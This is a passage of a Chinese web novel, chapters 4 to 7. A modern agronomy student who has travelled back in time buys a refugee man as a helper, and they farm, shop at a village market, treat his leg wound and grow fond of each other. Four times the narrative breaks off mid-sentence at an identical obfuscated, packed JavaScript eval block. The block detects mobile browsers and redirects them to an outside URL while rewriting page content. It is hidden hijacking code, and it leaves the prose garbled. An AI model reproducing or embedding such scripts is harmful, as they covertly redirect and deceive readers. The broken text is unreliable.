程明月交代叶云峥:“以后厨房就交给你了,厨房堆着的豆子你随便煮,还有面粉,你都可以看着做。不过用藤框吊在梁上的东西你都别动,那是我留的种子。” 叶云峥四下打量,能看得出来程明月很爱干净,房子虽然简陋但收拾的井然有序,所有东西放的都很有秩序。 整个房间,最脏的其实是他。 他自从逃难以来就没有洗过澡,衣服也破烂不堪勉强蔽体,之前他身边都是和他一样脏的灾民,他才不觉的有什么。 现在到了整洁干净的室内,他有些局促的缩了缩肩膀,想要用手遮住手肘处暴露出来肮脏的肌肤。 他不知道这其是程明月作为一个研究生,养成的良好习惯。以前如果工作室杂乱是会被整组扣分的。 程明月看出了他的局促,带着他来到卧房,外间放着一些农耕工具,按理这些应该摆在柴房,但程明月没有柴房,收大豆之前她都是把这么工具放在厨房。大豆放在厨房后,工具没地方放了,只好放在卧房外间。 靠里面一点用木板拼了一张床,上面放着干净的被褥,还放了两件衣服。 程明月说:“以后你就睡在这里了,被褥和衣服都是我和村里人换的,是干净的。” 之前用大豆种子换的,她想到家里要来个帮工,怎么得给人家准备个睡的地方。 她买的可是男人,总不能和她睡吧。 叶云峥看着干净的衣服和被褥,觉得眼眶热热的,他也不知道该说什么,程明月跟他说话,他就只点头。 叶云峥从没想过他能来到这样一个好人家,遇到这么好的主人。 在他设想中,能给他一顿饱饭,一个遮雨的地方已经很好了,更何况是这样的好地方。 哪怕是在当初的夫家钱家,落魄后他也是睡在柴房里,每天天不亮就干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712124|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的。 程明月指了指水缸说:“那啥,阿峥你自己擦一下身子换个衣服,火石在这里,你烧点热水一会在院子里洗哈,我去田里看看。” 她只有一个简陋的小茅房没有浴室,一般古代农家也没有浴室。 除了夏天其他季节洗澡都要烧热水,所以人们都会烧完热水后,直接在厨房洗澡。 可她家厨房满满当当的不适合洗,只能在院子洗澡,那她一个女人在这里就太不方便了。 “你一会换好衣服就躺着好好休息,饭等晚上我回来会煮。” 程明月想到叶云峥腿上的伤,叮嘱道:“一会儿擦身子时千万小心伤口,别沾上水了。”说完就赶紧躲了出去。 叶云峥嗅着自己身上散发出来的难闻气味,那是长时间没有清洗,混合着汗水、灰尘与伤口异味的味道。 他就像是个肮脏的野狗。 叶云峥深吸一口气,反复对自己说,这个时候不要胡思乱想,活下去才是最重要的。 他没有烧新的水,而是用瓢舀出来一盆凉水端到院子里。 不能再让这样的异味留在他的身上,也不能脏了她的家。 他看了眼紧闭着的大门,咬了咬唇,轻轻褪下身上破烂难闻的衣裳。 程明月来到菜地里摘了些南瓜,然后她又去看了看地里的农作物,玉米很快就能收,棉花和玉米应该会同期成熟,下一步再把土豆种了,土豆收获要秋冬了。 加上家里的豆子和面粉,这些可以说是她的全部财产。 之前她用40斤大豆换了20斤面粉。 她前段日子实在太累了,实在没时间去集上卖粮食,只跟住附近的胡二娘家换了一点面粉吃。 毕竟大豆不适合做主粮,吃多了容易闹肚子。 程明月每天一睁眼就在地里忙活,割大豆,搬运回家,剥豆荚,晒干大豆和豆秸,这还只是豆子相关的一点点小活。 还有玉米之类作物要除草,除虫,蔬菜要浇水,哦,每天还要挑水。 以前她有各种现代化工具,收割机,脱豆机之类的都觉得很累,更何况现在是古代,要自己干。 农民实在太苦了。 古代的农民更是苦。 农学生也苦。 穿越到古代当农民的农学生更是苦上加苦。 跑题了,诉苦结束。 按照一个人一天一斤口粮来算,她和叶云峥两个人一年至少需要720斤粮食, 目测现在还剩120斤大豆,20斤的面粉。 她和叶云峥两个人一年总共要吃720斤粮,现在就按已经拥有120斤主粮算,接下来保守一点按玉米收1000斤,土豆3000斤算,至少能有4000斤粮食。 真不是她多算,这已经估的很保守了,正常来说玉米每亩收个1200斤不是问题,土豆更是每亩能收5000斤。 但她玉米因为当时研究单株结实率所以没追求最大产量,毕竟她实验田是实验性质的。土豆她以后也打算先只种一亩,剩下一亩可以种些麦子什么的,上次她跟胡二娘聊天,觉得这里的小麦产量低的很不合理,应该有很大提升空间。 除掉吃饭的720斤,剩下2780斤粮食假设留种280,剩下的2500斤是多出来的。 棉花大概能收600斤。 那么这2500斤粮和600斤棉花需要覆盖她和叶云峥的所有开销。 听起来多,可为了过冬还得准备棉被,还得修房子。 这茅草屋可过不了冬。 紧巴巴。 程明月望天,希望这里的人对玉米和土豆接受度良好吧。 5. 处暑05 程明月忙活了好一阵子,她看天色已经有些晚了,晒场上的黄豆也只剩十分之一左右了,便将打出来的黄豆地拢在一起收拾了起来,明天还要用这些黄豆换钱。 干完这些,她才提着从菜地里摘的南瓜回了家。 推开院门,她看到手里拿着一个草筐,一瘸一拐从厨房出来的男人,怔愣在了原地。 这真的是她从城门楼外灾民堆里花了半斛黄豆买回来的男人吗! 叶云峥个子很高,肩膀瘦削而刚直,面色苍白难掩眼神的清澈,简陋的粗布旧衣盖不住他出尘绝色的气质。 在程明月毫不掩饰的惊艳眼神中,叶云峥有些局促的侧过头。 程明月没想到自己竟然买回来这样一个佳人,她一时没做好心理准备就和如此品貌非凡的俊俏郎君站在一起,有些不好意思,半天也不知道该说什么。 好一会她才恢复平静,脸依旧红红的,看到他手里拿着个自己没见过的草筐,她接起来看了看,惊讶道:“这是你用豆秸编的?” 叶云峥点点头。 程明月赞叹道:“你的手好巧啊!编的真好。” 她家里正缺置物的东西,有了草筐就可以把豆子装进去,而不是摊在地上。 叶云峥真的很细心,也很主动,她没有吩咐,他就自己主动的找到活干。 “不过……”程明月话锋一转“跟你说了要好好休息,这些活都可以以后再干,没必要这么急着干活。” 她现在最担心的就是叶云峥腿上的伤,虽然只是皮肉不影响走路,可万一化脓就不妙了。 她抓起叶云峥的手,他瑟缩了一下,但程明月力气很大。 尽管叶云峥努力想要抽回自己的手,可程明月没有松开他,而是用另一只手展开他的手掌,轻柔抚摸着上面的红痕缓缓地说:“你放心,我不是坏人,你既然来了我家,我会好好待你的。” 程明月的意思是既然叶云峥来她家做帮工,她便会做个好老板,不会虐待打骂他。 叶云峥也不用通过不要命式的干活来换取她的认可。 可这话听在叶云峥耳朵里,却完全是另一个意思了。 她在城门外请郎中给他治腿,还雇车夫送他们回家。 她将他带回家后,没有让他干任何粗活累活。 她让他睡在她卧室的外面。 她给他找来干净的换洗衣物。 她……小心翼翼的抚摸着他的手,像是抚摸着珍宝。 叶云峥原本垂死的心突然动了一下,又动了一下。 随着程明月的抚摸,他的心越跳越快,耳朵尖上也染上了一层红色,热的他发烫。 就在叶云峥以为程明月会继续下一步动作时,她忽然将他的手放下了。 “该饿了吧,你先歇一歇,我现在就做饭。” 程明月走到灶台前,洗了一把豆子放在地锅里,又舀了一瓢水,然后蹲下在灶台里填上几根柴火,一把干豆秸,拿起火石敲击了几下。 没反应。 她又用力敲了几下。 出现几个火星,没引燃。 程明月无奈,她果然是不擅长点柴火啊。 这时,一双虽满是伤痕,骨节分明的手拿起她手中的火石。 程明月转头,叶云峥拿着火石小声说:“我来吧。” 她让开位置,叶云峥两下便打出火,将柴火点着了。程明月惊叹说:“你好厉害啊。” 叶云峥有些好笑,一边拿着火钳在灶台火塘里翻动,让空气流通,柴火燃起来。一边说:“只是点个火而已。” 程明月说:“只是点个火我也不会啊,我决定了,以后点火这个任务就交给你了。” 叶云峥点头:“好。” 程明月从面缸挖出来一勺面粉,和了点水,感觉有点干。又加了点面,有点稀。又加了点水,又干了…… 叶云峥不太理解的看着程明月的动作,程明月有点尴尬的和他解释:“我想沿着锅边贴个饼,掌握不好比例。” 水放少了太干贴不住,放多了不成型。她以前都是随便捏捏,成型了就丢在水里,哪怕掉到汤里成糊糊了她闭着眼也能吃。 这不是家里现在有第二个人了,程明月不好意思让人家跟她一起吃糊糊。 叶云峥撸起袖子,从水缸里舀了点水洗洗手:“我来吧。” 程明月赶紧让开案台的位置,她看到叶云峥就随便揉了揉,分次加了几回水,就揉成型了。 看着他有条不紊的干活,程明月内心感到一片宁静。 水开了之后,叶云峥将锅盖掀开,将面饼沿着锅边贴了一圈。 程明月刚刚在旁边已经把带回来的南瓜切成小块,也倒到锅里和豆子一起炖,还加了一把盐。 两个人傻愣愣的站在厨房里等饭熟,气氛一时间变得凝滞起来。 过了一会,程宁哎呀一声,叶云峥转头看她。 程明月:“忘了你腿不好,不能久站了。” 她从旁边桌子下拉过来两个凳子,让叶云峥和她一起坐下。 程明月拿着火钳翻了翻柴火,不太自然问他:“我昨天都没问过你以前的事,跟我讲讲好吗?” 叶云峥垂下眸,紧张的扣起手:“昨天我公爹说的就是全部,我嫁了人,妻主在我嫁过去之前就去了。后来老家大旱,流民四起,家里待不下去,我们就来临江县投靠亲戚。” “再后来……钱财和粮食都被抢,我拼死抢回来一点,才和公爹还有小姑子一起勉强撑着来到临江县。” 感觉到他情绪低落下来,程明月抬起手放在他的手上:“不是公爹,你已经跟他没关系了,最多是前公爹。” 叶云峥乖顺的点头。 气氛一时间又陷入安静,好在锅里的饭很快就熟了,叶云峥站起来掀开锅盖,食物的香气铺面而来,他忍不住咽了咽口水。 程明月从一旁递给他一个大盆和一个竹篓,他利落的将锅里的南瓜炖豆子盛了出来,又把饼拾到竹篓里,两个人配合默契,仿佛这样的事做过很多遍。 程明月将菜饭都端到桌子上,拿了两套筷子小碗和勺子,叶云峥忙摆手说:“不用拿我的,我不用吃的,今天在城门下你给我吃过炊饼了。” 程明月拿起一个饼塞到他手里,扶着他到桌边坐下:“那都是中午的事儿了,不吃饱怎么行。不过你饿了很久,确实不能多吃,不然伤胃。就先吃一点垫垫吧。对了,记得吃慢点。” 叶云峥拿着手里的饼咬了一小口,面粉在口中化开,贴饼的香甜充满口腔,他心中滋味却难言。 程明月将南瓜炖豆子往他面前推了推:“饼你吃不完也行,先吃菜,现在天气热,菜放一天馊了可就浪费了。” 对一个饿了很久的人来说,补充维生素和膳食纤维很重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712125|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只加了盐的南瓜炖豆子对于程明月来说是一道很奇怪的食物,以往她都是硬吞进去的,今天不知道是不是因为有了陪着吃饭的人,她吃的格外香。 晚上,叶云峥缩在被褥上,这么柔软的床铺,自他出嫁都就再也没有享受过了。 程明月就睡在和他一墙之隔的室内,在夏日蝉鸣和蛙叫声中,他仔细的分辨着属于程明月的呼吸声。 他从被子里伸出手,借着透过糊纸的窗子照进来的月光,反复的看着自己的手心。下午编草筐勒出来的红痕已经消失了,只有以前的旧伤和茧子。 在她拉着他的手满脸心疼的抚摸上面的勒痕之前,他还能骗自己,或许她只是心底善良,她买他就只是为了家里多个干活的人。 可她当时的表情上写满了怜惜。 谁会对着一个普通的下人体贴至此呢?她待他的意思他能猜得到。 叶云峥没法再骗自己。 程明月尚未成亲,家中也有田有屋,她又聪明肯干。怎么会娶一个嫁过人的鳏夫呢。 恐怕她买他只是为了一时的欢愉,并未做长久打算。 其实,程明月这个新主人待他真的很好,救了他不说,还待他小意温柔,和他说话时声调都是柔和的。 昨天的他身体疼痛难忍,心中惶恐不安。 今天的他身处安全舒适的小屋,内心安稳平静。 如果没有她,他还不知今天的命运如何,不知是身死荒野还是沦落贱籍。 叶云峥紧紧握住手心,将手捂在自己的心口。 如果她,如果他的主人想要他,他说不出来拒绝的话。 只是这样他便要对不起他早亡的妻主…… 不,那已不是他的妻主,他公公已经和程娘子签了文书,银货两清,他只有一个主,那就是程娘子。 他以前的妻主和他是青梅竹马,只可惜后来她跟着商队出去跑马,遇到强盗死了。 若他以前的妻主活着,或许他的日子不会那么悲惨。 公公认为是他克死了他女儿,逼着他嫁过来之后,让他住柴房,吃馊饭,一个人干全家的活。 但可能也不会,他公公是那样一个刻薄严厉的人,他过的好不好和他的妻主存活与否可能并没有关系。 他的父亲看到他受苦,夜夜流泪也无可奈何,毕竟他是钱家的人,他命该如此。 这是他的命,他只能认命。 可就算是他的命,在公爹签下卖身契那一刻,他与他们已经没有半分关系。 都过去了。 他忽然想到程明月清澈如水的眼眸,仿佛能洗涤人心。 她待人温和,如清风朗月,如微风和煦。 程明月是个没有娶夫郎的单身女性,赶在女性情潮前买一个干净身子的男子,其中的意思不言而喻。 刚刚她回到家中看到他时,眼中的惊艳不似作假。 她当是满意自己的容貌和身姿吧。 叶云峥睁着眼看着窗外的月亮,听着自己的心跳声。 程明月。他将这三个字在自己的唇边无声的滚了一遍,心跳的越来越快。 明月啊。 她就如同她的名字一般。 是最皎洁的月光。 叶云峥听着自己扑通扑通的心跳声,缓缓地闭上了双眼。 如果她想要他的话,他给她就是了。 6. 处暑06 晨曦透过纸糊的窗户,照在叶云峥的脸上,他从睡梦中醒来,望着窗外的阳光有些发愣。 叶云峥从床上坐起来,摸了摸柔软的被褥,心里踏实了许多。是了,他被程娘子用半斛黄豆买下来了,他住进了能遮风挡雨的小屋里,不再需要风餐露宿了。 屋外传来乒乒乓乓的敲打声,叶云峥出去一看,程明月正在和豆秸较劲,她用豆秸的叶子编成麻绳,再用麻绳将把豆秸扎成一排,她身旁已经有好几扇这样的豆秸板。 程明月看到他很愉快的喊着:“快来帮忙。” 叶云峥走过去,学着程明月的动作,很快就扎的又结实又好,程明月说:“我们先做个简易洗浴室出来,以后有时间了再多盖两个屋子,到时候你就可以有自己的房间,而不是住在我屋外了。” 叶云峥手下动作顿了下,他看向程明月,程明月发现他在看她,也冲他坦荡的笑了笑。 两个人就是比一个人快,二人合力很快就将简易浴室搭好,程明月叉着腰看着浴室,觉得自己早该买个人回来。 很多农活都是必须二人合力才能干,比如搭浴室,如果没有叶云峥扶着,她一个人很难搭好。 犁地也是,就需要一个人在后面扶,一个在前面拉。 除非买个牛替代前面拉犁的人,所以牛真的很重要,也不怪古代封建王朝一般都禁止杀牛。 不过今年很难养牛了,缺的东西太多,两亩地也不值当买头牛回来,等再卖几亩地的时候再说吧。 叶云峥问程明月:“等会儿你要去下地吗?我可以跟你一起去。” 程明月摇头:“今天不去地里了,村里今天逢集,我们去买点生活用品。” 程明月找来两个背篓,一个装满了黄豆,另一个则是空的。她自己背起装满黄豆的,让叶云峥去背那个空的。 叶云峥自然同她去抢那个装了黄豆的,可程明月说:“别和我争了,你腿还没好,听话。” 叶云峥这才背起空背篓,程明月扶着他走到山脚下的逢集的街道,街上热闹极了,挤满了人。程明月先是把背篓里的黄豆卖给了粮贩,粮贩拿了斛来量,刚好一斛,也就是五斗。大概有一百斤黄豆。 现在山下全是西边逃难来的灾民,人多粮就贵,平日里黄豆一斗八十文,这种时候粮贩便直接给程明月算一斗一百文,也就是五百文,合计五钱。 街两边挤满了买货的人,有卖杂货的,有卖权、耙、扫帚等农具的,也有卖牛马驴骡等牲畜的。 叶云峥看着街边琳琅满目的商品,一时之间挪不开眼,他有多久没有见到这样繁华的场景了。 他问程明月:“你要买什么?” “买东西的事不急,有更重要的事要干。” 叶云峥怎么也没想到程明月嘴里最重要的事是给他治疗腿伤,坐在满是药香的医馆内室里,他紧紧靠着程明月把自己蜷缩起来。 昨天他本就衣衫褴褛,且周围都是和他一样衣不蔽体的人,所以在郎中面前裸露大腿时他并未感到异样。 可他今天衣着完好,想到要褪下裤子,把大腿裸露在外人面前,他难堪的垂着头,任由大夫和程明月怎么劝说都不肯把头抬起来。 “阿峥,你的伤太靠近大腿根部了,不把裤子脱下来,大夫没法换药的。” 叶云峥感到极度的惶恐和不安,起身欲逃,程明月双手紧紧的箍住他不让他起。 “阿峥,没事的。” “只需要脱一点点,不会露出来太多。” “而且就算露出来也不算什么,我们是治病呢,总要治疗伤才能好啊。” “你不是想帮我忙吗?等你腿好了就能和我一起下地了,你还没看过我的地呢,里面有玉米,有棉花,还有好多蔬菜。我还有好多发芽土豆,还等着以后你和我一起种呢。” “你没见过玉米和土豆吧,这两个是外来作物,回头我烤给你吃,可好吃了。” 叶云峥在她一声声的安抚中渐渐地平静下来。他闭上眼,转身靠在程明月的怀中,解开了自己的腰带。 这里是医馆内一个安静的小室,非常隐蔽,除了大夫之外只有叶云峥和程明月。 这大夫姓李,是桥头村有名的大夫,县城也有医馆,她本人平时不在村里出诊,只在村里逢大集的时候过来。 她看到叶云峥腿伤绑伤口的手帕便骂道:“哪个郎中给你治的呦,扎的什么玩意。” 解开手帕,看到叶云峥的腿伤后直摇头:“这伤口刮的也太不干净了。” 昨天那个郎中自己都说后面要找医馆看,程明月便料想到估计是她手艺不精。 不过她并不想跟李大夫说叶云峥是灾民之类的,也不想过多解释,只说:“李大夫,劳您费心,银子……你看看需要多少。” 说完银子二字,程明月明显感觉到怀里的叶云峥紧绷了起来,她拍拍他的背,示意他不要在意。 李大夫打开医箱:“我不多收你银子,你回头多给我留意下药材就行了。” 之前有一次程明月砍柴时崴到了脚,那时候就是找李大夫看的,在听说受伤的地点后,李大夫便表示自己不收银子,要他们去山里时帮他留意药材。 程明月后来确实发现过几次药,也给李大夫送过药,所以才这么熟悉,敢直接把叶云峥带来。 李大夫拿出几把小刀,剪子,用火燎了下消毒,又快又利落的把叶云峥腿伤的烂肉清掉,中途不住的拿干净的白布擦血。 这操作流程看着就比昨天的郎中靠谱,程明月也放下心来。 她看叶云峥紧紧的咬着牙,头上冒出汗来,知道他一定很疼,便贴在叶云峥耳边小声说:“你要是疼可以掐我,咬我也行。” 她温热的鼻息喷在他的脖子上,叶云峥心跳如擂鼓,连忙摇头,他怎么能掐自己的主人呢?更何况是咬,可是,咬的话咬哪里?她的脖子吗?还是她白皙的脸庞?或者是她殷红的唇? 叶云峥脸上染上一层红晕。 还没等他想完,便感到腿伤上被敷上一层凉凉的东西,他转头看去,伤口已经处理完了,大夫正在上药。 他轻轻的咬了下唇角,程娘子,原来是在转移他的注意力啊。 李大夫拿了条干净布条紧紧把叶云峥的腿伤勒住,然后拿了瓶药给程明月:“你回去之后,一天给他换一次药,这里的药是三次的分量,三次应当就能结痂了,结痂后就不用再上药绑伤口了。” “那若是三次还没结痂呢?” 李大夫头也不抬:“三次还不结痂,就下山来找我。” 程明月搀扶着叶云峥走出医馆,手里还提着两包李大夫开的中药,这次连药带诊疗费一共花了三钱。 程明月卖黄豆的钱一下子就花去了大半,叶云峥有些愧疚:“从昨天你买了我,便花了几倍买我的钱在我身上……” 程明月伸出食指放在他的唇上,堵住了他接下来的话。他本以为程明月会说没关系之类的安慰话语。 却看到程明月莞尔一笑:“所以你要快些好起来,才能帮我干活,补回来差价呀~” 她说差价呀三个字的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712126|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,声调千回百转,仿佛一千根丝线在挠叶云峥的心。 叶云峥明白程明月这是在宽解他,他感到千言万语涌上心头,可他什么也说不出口,他把手放在程明月搀扶她的胳膊上,颤抖着重重的点了下头。 这是他的承诺。 只要他活着,他叶云峥一定会千倍万倍的报答她的恩情。 程明月看他似乎不再纠结钱的事情,心里轻快很多,前世程明月从菜市场小贩手里买过一只猫,买猫只花了五十块钱,给它驱虫打疫苗治病花了小三千,后面每个月还有两百块猫粮猫罐头的固定支出。 小猫后来不幸病死的时候,程明月找宠物店把它火化还花了一千多。 所以在程明月看来,维护成本比购买成本高本来就是很正常一件事。 她挽着叶云峥走在路上絮叨的说着她想买的东西。 头一样就是粗布和针线。 “你会针织手工吧。” 叶云峥问:“你是说针线缝补?” “对!” “会的。”他自然会,这是每个男儿家都要学的技艺。 程明月松了一口气,叶云峥显然是个自尊心高的人,一直不让他干活只在家白吃白喝,他自己也难受。给他找个活干比什么都强。 “我们买点布料回去,你这两天先不要跟我一起下地,先给咱们俩都做几件厚衣裳吧,虽然现在还很热,可等冷了再做就来不及了。等棉花下来了,你再做几件棉袄。” 衣食住行,衣可是排在第一位的,古代不比现代有现成的衣服可以买,全都是要家里男人做的,没几个人会去市集买衣服。 就算县城有卖成衣的,价钱也都贵的吓人,她身上只有穿过来时穿的那套,和一套胡二娘子给的旧衣,可夏季衣服单薄布料少,她拿了衣服后送点黄豆过去也算合适,秋季的厚衣裳她可不好意思舔着脸去要。 到了布行开在集市上收棉花布料的摊子,程明月问了布行伙计布料价格,得知最便宜的棉布竟然要一钱银子一匹,她倒吸一口凉气。 怪不得古代有钱帛之称,帛就是布匹,可以当银子花的。 程明月转念一想,棉布贵岂不是意味着棉花也贵,那她地里的那堆棉花不就能卖上高价了。 “你这里可收棉花?” 自然是收的,布行伙计道:“得先看看棉花好坏,一担三到六两银子不等。不过现在棉花没下呢吧,你有棉花?陈棉可要打折。” 棉花还没下来,布行开这个档口最近主要是收棉布,就算有来卖棉花的都是家中陈棉。 程明月被古代这乱七八糟的计量单位搞得头大,她掰着手指算了算,一担就是一百斤,那就是一百斤两千文到五千文,一斤二十到五十文。 她的优选新疆棉和这里的棉花比肯定只好不坏,保守按四十文估算,她的两亩地保守能产两百五十斤左右。 那就至少是一千文,足足十两银子。 程明月喜笑颜开,又问她麻布多少钱一匹,然后被布行伙计赶出来了:“去去去,要麻布找那支摊子的老农换去,别来我这儿添乱” 这里的布行一般只卖丝绸和棉布,麻布卖不上价,都是街上的农家自己产些在集市上交换。 最后她只花一钱银子便在摆摊的老农那里买了一匹细麻布和一匹粗麻,还让老农饶了不少针线。 她把布装到背篓里,跟叶云峥说:“你看,我没骗你吧,我带你回来是让你干活的。” 叶云峥摸了摸布说:“娘子放心,我会好好把衣裳做出来的。” 7. 处暑07 程明月掂了下手里的银子,刚刚到手的五钱,瞬间便只剩下一钱,不由感慨钱可真不禁花啊。 程明月其实缺农具,可基础的铲子锄头她有,一钱银子也买不了她想要的农具。家中剩下的20斤大豆得留出来明年的种子,再要买估计要等玉米下来换出钱来才行了。 本来她是想买点背篓麻袋之类的收纳工具,但发现叶云峥会编背篓之后,她自动把这项清单划除了。 “阿峥,你说接下我们还买点什么呢?”程明月看着叶云峥问,她问的很真诚,因为她毕竟不是古人,很多东西想不起。 叶云峥惊讶的看着程明月,以前从没有人征求过他的意见,但他发现程明月是认真的在问他。 于是他也认真起来,想了想山上家里的物品,说:“如果可以的话,可以买些找卖油郎买些菜籽油,再买些调料。” 程明月眼睛亮起来:“菜籽油?你还会炒菜?”她不买油就是因为她不会用地锅炒菜,掌握不好火候。 叶云峥失笑,她似乎总是为他本理所应当会的东西惊喜,就仿佛他身上随随便便的小事,她都会觉得满意。 “自然会的,我还会纺线织布,刚刚娘子不是说家中田里有棉花吗?若是能有台织布机,我可以直接将棉花纺织成布,这样便能卖上更高的价了。” 程明月拍了一下叶云峥的肩:“兄弟,你很好。以后小妹吃饭就靠你了。 她带着叶云峥来到粮副产品店,买了些油盐调料,又看到路边叽叽喳喳的小鸡仔煞是可爱,程明月本就喜欢毛茸茸的小动物,她小时候还养过鹦鹉,站卖小鸡的旁边走不动路。 “娘子可是想买鸡仔,还剩了十几文钱,可以买上几只,如是里头有母鸡,以后养大了可以下蛋。” “你还会养鸡?” 叶云峥笑着说:“会的,我会养鸡,还知道如何垒鸡窝,娘子放心交给我吧。” 程明月原本是搀扶着叶云峥,听了这话忍不住环抱了他一下:“阿峥,你真好,没有你我可怎么办。” 程明月自然是同意养鸡,以后下蛋了还能给她和叶云峥补充动物蛋白。 这样她就不用整天吃豆子了,在吃了整整两周的黄豆后,程明月现在非常讨厌吃豆子。 回去的路上她都神采奕奕,就好像满身都是精力,不时看着叶云峥傻笑,看的叶云峥都不敢和她对视。 程明月打心眼里觉得自己真的早该买个男人,有个本土古人在自己身边,生活质量提高好多。 一天前她还天天吃炖豆子面糊蔬菜汤呢,现在就吃上贴饼子了,以后还能吃上炒菜,还能吃上鸡蛋。 想想都幸福的流口水。 程明月身上背着布料和油盐调料,小心翼翼的将软乎乎的小鸡仔放到叶云峥的背篓里,她轻轻架着叶云峥的胳膊,带着他慢悠悠的走在乡间小路上。 夏末炎热,他们走在林间树荫下,阳光热烈却不灼人。 小道两旁是郁郁葱葱的草木,它们在阳光的照耀下熠熠生辉,仿佛在诉说着生的希望。 微风拂来,带着田野的芬芳和泥土的气息,似乎还夹杂着花草的低语和庄稼的呢喃。 程明月微微眯起眼睛,嘴角上扬,享受着这难得的悠闲时光。 初到此地时,程明月满心都想着如何回去,当发现回不去后,她的生活又被生存压力所填满,每日劳作不得一刻闲暇,到了晚上在惶恐和孤独中睡去。 在这个宁静的夏日,她的心却有了不一样的触动。 程明月看着身边温柔浅笑的叶云峥,感受着微风的轻抚,听着着小鸡叽叽喳喳的叫声。 这样也挺好,日出而作,日落而息,与土地为伴,与清风相守。 回去之后程明月便在叶云峥的指挥下快速的搭了一个简易鸡窝出来,鸡窝里堆了一层柔软的干草,她小心翼翼的把小鸡放进去,看着它们毛茸茸的样子,心里满是欢喜。 吃过午饭,程明月带着叶云峥来到自己的两亩实验田边,给他介绍自己的“家产”。 程明月叮嘱叶云峥:“你腿还没好,就站在田边看看吧。” 叶云峥略显吃惊的望着程明月实验田里的庄稼,他用手从棉花的花铃带到一旁玉米的叶子:“为何是一排排不同的作物种植在一起?” 程明月弯腰检查棉花的叶片上有没有蚜虫,听到叶云峥的话后,直起腰答复他:“这叫做带状复合种植,意思就是像带子一样一条条不同的植物交叉种植。” 这种方法源自生产队时期推广的大豆玉米间作,极大的耗费人工,不仅产量低,而且不利于机械化种植,后来机械化生产推广后就被广大的劳动群体抛弃了。 但不同作物复合种植可以很好解决种单一作物时土地营养成分流失过快的问题,古代种地采用休耕制度讲究休养生息,这么种却可以让土地一直有粮可产。 后来科技发展,农机进一步进化可以精细化收割了,农业领域也跟着研究起更科学的带状复合种植。 叶云峥抚摸着绿中泛紫的棉花花铃,由衷的感叹说:“这棉桃长的可真好。” “棉桃?哦你是在说棉铃,怎么样,比你之前见过的大吧。” 程明月不觉得奇怪,这可是现代农学科学家们经过本土棉花和美洲棉花杂交育种,精心培育出来的优质长绒棉,比不上这儿本土的棉花才叫奇怪。 玉米差不多快熟了,这个时候吃着正嫩,但作为粮食储存却要再等上一周。 她挑了几个发育早饱满的掰下来,走过去递给叶云峥:“见过这个吗?” 叶云峥拿起来看了看,说:“我小时候在爹家时吃过这个,叫番麦。口感很好,就是很贵,一般人吃不起。” 玉米已经传入了啊,那应该是和明朝差不多的时期。挺好的,既然有这种作物,还是一种价格昂贵的作物,以后出售的时候就少了一层麻烦。 程明月问:“那你知道土豆吗?” “土豆?” 程明月跑到自己田里翻了一下,挖出来一串不成型的小土豆,果然太热长不出来,土豆是她刚穿越过来的时候为了实验刚种下去几颗。 拿过来给叶云峥看:“就是这个,长大十倍后的样子,里面是黄色的,口感很面。” 叶云峥揉了揉上面的土:“是番薯吗?煮了之后甜甜的。” 程明月开心起来:“红薯已经有了啊,那太好了,下次我们也搞点番薯来种,那个烤着吃特别好吃。不过这个不是番薯,是另一种和番薯很像的东西,叫土豆,以后成熟了我做给你吃,这个有很多种吃法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712127|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程明月读研时第一年研究的就是如何对红薯进行育苗,老本行了,种番薯她很拿手。 叶云峥也很想下到地里帮忙,可程明月不让:“家里还有布料等着你变成衣服呢。” “你赶紧趁着养伤把衣服做了,以后地里活不会少的。”她指了指自己绿油油的地:“这些将来可全得靠我们两个人收。” 叶云峥:“好,那你在田里忙,我就先回去了,我先回去把饭煮上。” 还能把布裁了。 程明月:“行,你回去吧,路上慢点。对了,你回去把这几根新鲜玉米弄了晚上吃吧,剥皮后水煮或者烤着吃。” 叶云峥便抱着玉米颤颤巍巍的往家走。 只是…… 他回头环顾了这块不大的实验田,看起来只有两亩地,也没多少活啊。 他在妻家时,一个人就要种四五亩地。 